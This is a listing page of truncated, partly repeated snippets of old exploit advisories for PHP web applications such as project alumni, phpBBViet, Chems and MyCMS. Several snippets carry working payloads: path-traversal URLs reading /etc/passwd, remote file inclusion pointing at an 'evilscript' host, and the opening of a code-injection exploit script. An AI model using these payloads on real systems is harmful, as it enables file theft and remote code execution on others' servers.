Charrays CMS 0.9.3 - Multiple Remote File Inclusions

Charrays CMS 0.9.3 - Multiple Remote File Inclusions --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg...

EHCP 0.22.8 - Multiple Remote File Inclusions

--------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Multiple...

Charrays CMS 0.9.3 - Multiple Remote File Inclusions

--------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Multiple...

NoAh <= 0.9 pre 1.2 (filepath) Remote File Disclosure Vulnerabilities

No description provided by source. NoAh = 0.9 pre 1.2 filepath Remote File Disclosure Vulnerabilities Script : http://sourceforge.net/project/showfiles.php?groupid=131995 /noah0.9pre1.2.tar.gz/ Exploits : /noah/modules/nosystem/templates/cssfile.php?filepath=../../../../../../etc/passwd...

PHP-CON 1.3 - 'include.php' Remote File Inclusion

PHP-CON 1.3 - 'include.php' Remote File Inclusion Script : http://sourceforge.net/project/showfiles.php?groupid=182182 POC : /PHPCON/Exchange/include.php?webappcfgAPPPATH= Evil Code milw0rm.com 2007-11-28...

project alumni 1.0.9 - index.php?act Local File Inclusion

project alumni 1.0.9 - index.php?act Local File Inclusion project alumni 1.0.9 remote file disclosure vulnerability download : https://sourceforge.net/projects/project-alumni/ vulnerable code on index.php include$SERVER'DOCUMENTROOT' . "/pages/" . $GET'act' . ".page.inc.php"; exploit :...

project alumni 1.0.9 (index.php act) Local File Inclusion Vulnerability

No description provided by source. project alumni 1.0.9 remote file disclosure vulnerability download : https://sourceforge.net/projects/project-alumni/ vulnerable code on index.php include$SERVER'DOCUMENTROOT' . "/pages/" . $GET'act' . ".page.inc.php"; exploit :...

project alumni 1.0.9 - 'index.php?act' Local File Inclusion

project alumni 1.0.9 remote file disclosure vulnerability download : https://sourceforge.net/projects/project-alumni/ vulnerable code on index.php include$SERVER'DOCUMENTROOT' . "/pages/" . $GET'act' . ".page.inc.php"; exploit : http://victim/path/index.php?act=../../../../../../etc/passwd%00...

iaprcommence-rfi.txt

iaprcommence 1.3 RFI --------------------- Author : ShAy6oOoN --------------------- Group : PitBull Crew --------------------- Script : iaprcommence 1.3 --------------------- Download : http://downloads.sourceforge.net/iaprcommence/CommenceV13.zip?modtime=1195816743&bigmirror=0...

getblog-lfi.txt

Hello,, GetBlog local File inclusion .. http://sourceforge.net/projects/geblog Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Exploit : - tpl/Default/index.php?tplname=../../../../../../../etc/passwd%00 WwW.SoQoR.NeT...

projectalumni-sqlxss.txt

project-alumni sql injection & xss author : tomplixsee [email protected] -------------------------------------------------------------------------- affected software version : project alumni 1.0.9, 1.0.8, or lower?? download : https://sourceforge.net/projects/project-alumni/ vulnerability...

phpbbviet-rfi.txt

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- phpBBViet 0.22 phpbbrootpath Remote File Include =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Found: xoron...

project alumni <= 1.0.9 Remote XSS / SQL Injection Vulnerability

No description provided by source. project-alumni sql injection & xss author : tomplixsee [email protected] ------------------------------------------------------------------------------------------------------------- affected software version : project alumni v1.0.9, v1.0.8, or lower??...

MyBlog (MyCMS) Remote PHP Code execution / PHP Code injection ..

Hello,, MyBlog MyCMS Remote PHP Code execution / PHP Code injection .. http://sourceforge.net/projects/myblog/ Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Exploit : - !/usr/bin/php -q -d shortopentag=on ? / / MyCMS Comman...

phpBBViet <= 02.03.2007 (phpbb_root_path) Remote File Inclusion

No description provided by source. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- phpBBViet 0.22 phpbbrootpath Remote File Include =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Found: xoron...

phpBBViet 02.03.2007 - phpbb_root_path Remote File Inclusion

phpBBViet 02.03.2007 - phpbbrootpath Remote File Inclusion =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- phpBBViet 0.22 phpbbrootpath Remote File Include =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Found: xoron...

phpBBViet 02.03.2007 - 'phpbb_root_path' Remote File Inclusion

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- phpBBViet 0.22 phpbbrootpath Remote File Include =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Found: xoron...

TBsource Index.PHP SQL注入漏洞

TBsource是一款基于PHP的WEB应用程序。 TBsource不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或操作数据库。 问题是由于'Index.PHP'脚本对用户提交的'choice'参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或可能操作数据库。 TBsource 7alpha.1.01 目前没有详细解决方案提供： http://sourceforge.net/project/showfiles.php?groupid=153513...

chems-rfi.txt

Chems-0.2 Remote File Inclusion ---------| Download:| ---------| http://downloads.sourceforge.net/chems/chems-0.2.tar.bz2?modtime=1193610635&bigmirror=0 ----------------| Timeline:9.11.07| ----------------| -------| Exploit| -------| /cdb.php?file=http://host/evilscript?...

Eggblog v3.1.0 XSS Vulnerability

H - Security Labs Eggblog v3.1.0 Security Advisory ID : HSEC20071111 General Information -------------------------- Name : EggBlog v.3.1.0 Vendor HomePage :http://sourceforge.net/projects/eggblog/ Platforms : PHP && MySQL Vulnerability Type : Input Validation Error Timeline...